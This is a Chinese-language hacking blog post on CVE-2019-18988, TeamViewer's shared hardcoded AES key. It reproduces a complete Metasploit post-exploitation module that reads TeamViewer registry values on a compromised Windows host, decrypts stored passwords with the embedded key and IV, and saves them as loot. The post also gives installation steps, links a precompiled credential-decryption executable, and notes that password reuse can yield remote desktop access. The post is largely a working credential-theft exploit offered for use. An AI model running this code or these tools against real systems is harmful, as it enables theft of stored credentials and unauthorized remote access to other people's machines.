天道酬勤

CVE-2019-18988-Teamviewer密码搜集

CVE-2019-18988

漏洞简介

TeamViewer是德国TeamViewer公司的一套用于远程控制、桌面共享和文件传输的软件。

TeamViewer Desktop 14.7.1965及之前版本中存在安全漏洞,该漏洞源于不同用户在安装过程中使用了相同的密钥。攻击者可利用该漏洞绕过远程登录访问控制。

通过14.7.1965的TeamViewer Desktop,可以绕过远程登录访问控制,因为同一密钥用于不同客户的安装。至少从v7.0.43148起,它就在所有安装中都使用了共享的AES密钥,并且在该产品的当前版本中至少将其用于OptionsPasswordAES。如果攻击者知道此密钥,则他们可以解密存储在TeamViewer注册表或配置文件中的保护信息。在v9.x之前的版本中,这使攻击者可以解密系统的无人参与访问密码(这允许远程登录系统以及浏览无头文件)。最新版本的OptionPasswordAES仍使用相同的密钥,但似乎已更改了无人参与访问密码的存储方式。

经过大佬的测试,15版本也存在漏洞。但是,目前最新的15.4.4445版本已经不存在此问题了。

漏洞发现

研读大佬博客文章

teamviewer

官方回应

CVE-2019-18988的规范

虽然说了一堆,但是好像给忽略了,因为新版本-15版本的某几个系列仍存在此问题。最新的15.4.4445版本不存在问题了。

漏洞利用

msf模块

漏洞的发现者,为我们写好了msf中利用的模块,如下:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super(update_info(info,
        'Name'          => 'Windows Gather TeamViewer Passwords',
        'Description'   => %q{ This module will find and decrypt stored TeamViewer keys },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'Nic Losby <blurbdust[at]gmail.com>'],
        'Platform'      => [ 'win' ],
        'SessionTypes'  => [ 'meterpreter' ]
      ))
  end

  def app_list
    results = ""
    keys = [
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version8", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version9", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version10", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version11", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version12", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version13", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version14", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version15", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer", "Version" ],
      [ "HKLM\\SOFTWARE\\TeamViewer\\Temp", "SecurityPasswordExported" ],
      [ "HKLM\\SOFTWARE\\TeamViewer", "Version" ],
    ]

    keys.each do |keyx86|

      #parent key
      p = keyx86[0,1].join

      #child key
      c = keyx86[1,1].join

      key      = nil
      keychunk = registry_getvaldata(p, c)
      key      = keychunk.unpack("C*") if not keychunk.nil?

      optpass  = registry_getvaldata(p, "OptionsPasswordAES")
      secpass  = registry_getvaldata(p, "SecurityPasswordAES")
      secpasse = registry_getvaldata(p, "SecurityPasswordExported")
      servpass = registry_getvaldata(p, "ServerPasswordAES")
      proxpass = registry_getvaldata(p, "ProxyPasswordAES")
      license  = registry_getvaldata(p, "LicenseKeyAES")

      if not optpass.nil? 
        decvalue = decrypt(optpass)
        if not decvalue.nil?
          print_good("Found Options Password: #{decvalue}")
          results << "Options:#{decvalue}\n"
        end
      end
      if not secpass.nil? 
        decvalue = decrypt(secpass)
        if not decvalue.nil?
          print_good("Found Security Password: #{decvalue}")
          results << "Security:#{decvalue}\n"
        end
      end
      if not secpasse.nil? 
        decvalue = decrypt(secpasse)
        if not decvalue.nil?
          print_good("Found Security Password Exported: #{decvalue}")
          results << "SecurityE:#{decvalue}\n"
        end
      end
      if not servpass.nil? 
        decvalue = decrypt(servpass)
        if not decvalue.nil?
          print_good("Found Server Password: #{decvalue}")
          results << "Server:#{decvalue}\n"
        end
      end
      if not proxpass.nil? 
        decvalue = decrypt(proxpass)
        if not decvalue.nil?
          print_good("Found Proxy Password: #{decvalue}")
          results << "Proxy:#{decvalue}\n"
        end
      end
      if not license.nil? 
        decvalue = decrypt(license)
        if not decvalue.nil?
          print_good("Found License Key: #{decvalue}")
          results << "License:#{decvalue}\n"
        end
      end
    end

    #Only save data to disk when there's something in the table
    if not results.empty?
      path = store_loot("host.teamviewer_passwords", "text/plain", session, results, "teamviewer_passwords.txt", "TeamViewer Passwords")
      print_good("Passwords stored in: #{path.to_s}")
    end
  end

  def decrypt(encrypted_data)
    password = ""
    return password unless encrypted_data

    password = ""
    original_data = encrypted_data.dup

    decoded = encrypted_data
    #print_status(decoded)

    key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
    iv  = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
    aes = OpenSSL::Cipher.new("AES-128-CBC")
    begin
      aes.decrypt
      aes.key = key
      aes.iv = iv
      plaintext = aes.update(decoded)
      password = Rex::Text.to_ascii(plaintext, 'utf-16le')
      if plaintext.empty?
        return nil
      end
    rescue OpenSSL::Cipher::CipherError => e
      puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
    end

    password
  end

  def run
    print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")
    app_list
  end
end

将代码放置此目录下:

/usr/share/metasploit-framework/modules/post/windows/escalate/

放置好之后,我们在msf中输入reload_all加载模块

在我们获取目标机器shell,并发现其运行的有teamviewer时,便可以利用此模块进行密码获取(目前只能获取代理密码):

获取密码的位置:

DecryptTeamViewer

项目地址:https://github.com/V1V1/DecryptTeamViewer

利用vs进行编译:

在目标机器上进行运行:

从输出的结果来看,得到了tv的版本、tv的账号、代理的账号密码,以及其他的tv中设置的密码,其中option password为:

如果大家不想编译,可以使用我编译好的。

链接:https://gitee.com/hackergu/tool/raw/master/DecryptTeamViewer.exe

总结

此漏洞利用并非百分百获取权限,一般情况下只能作为密码搜集的工具来使用。那在什么情况下可以登录tv并获取远程桌面呢?当tv中的代理密码或者option密码或者其他密码与teamviewer账号密码重合时,我们才可以登录到远程桌面(这种密码重复使用的概率还是很高的!)。

Youtube上的演示视频:https://www.youtube.com/watch?v=L9U8uNyd-QA

文中如有错误,或有更好的利用思路,还请大佬指点!

 

赞(1) 打赏
未经允许不得转载:HackerGu‘s Blog » CVE-2019-18988-Teamviewer密码搜集
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

专注黑客技术的研究

联系我们联系我们

觉得文章有用就打赏一下文章作者

微信扫一扫打赏